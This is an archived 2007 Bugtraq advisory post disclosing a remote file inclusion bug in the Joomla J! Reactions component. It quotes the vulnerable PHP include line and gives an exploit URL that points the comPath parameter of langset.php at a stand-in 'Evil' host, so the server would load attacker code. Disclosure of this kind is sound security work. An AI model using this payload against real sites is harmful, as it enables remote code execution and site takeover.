Joomla J! Reactions Component Remote File include Bug

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Joomla J! Reactions Component Remote File include Bug
From: yollubunlar@xxxxxxxxxxx
Date: 3 Aug 2007 20:45:54 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

///// ///// Yollubunlar.org ///// /////


Title:Joomla J! Reactions Component Remote File &#304;nclude Bug



Bug:include("$comPath/custom/".$mosConfig_lang.".php");} else


Author:Yollubunlar.Org


Exploit: administrator/components/com_jreactions/langset.php?comPath=Evil?


Bugs: http://yollubunlar.org/category/web-security

Orginal : http://yollubunlar.org/joomla-j-reactions-component-rfi-75.html

Greetz : Yollubunlar.org 


///// ///// Yollubunlar.org ///// /////

Prev by Date: ContentDM Search.php XSS Vulnerability
Next by Date: [SECURITY] [DSA 1345-1] New xulrunner packages fix several vulnerabilities
Previous by thread: ContentDM Search.php XSS Vulnerability
Next by thread: Re: Joomla J! Reactions Component Remote File include Bug
Index(es):
- Date
- Thread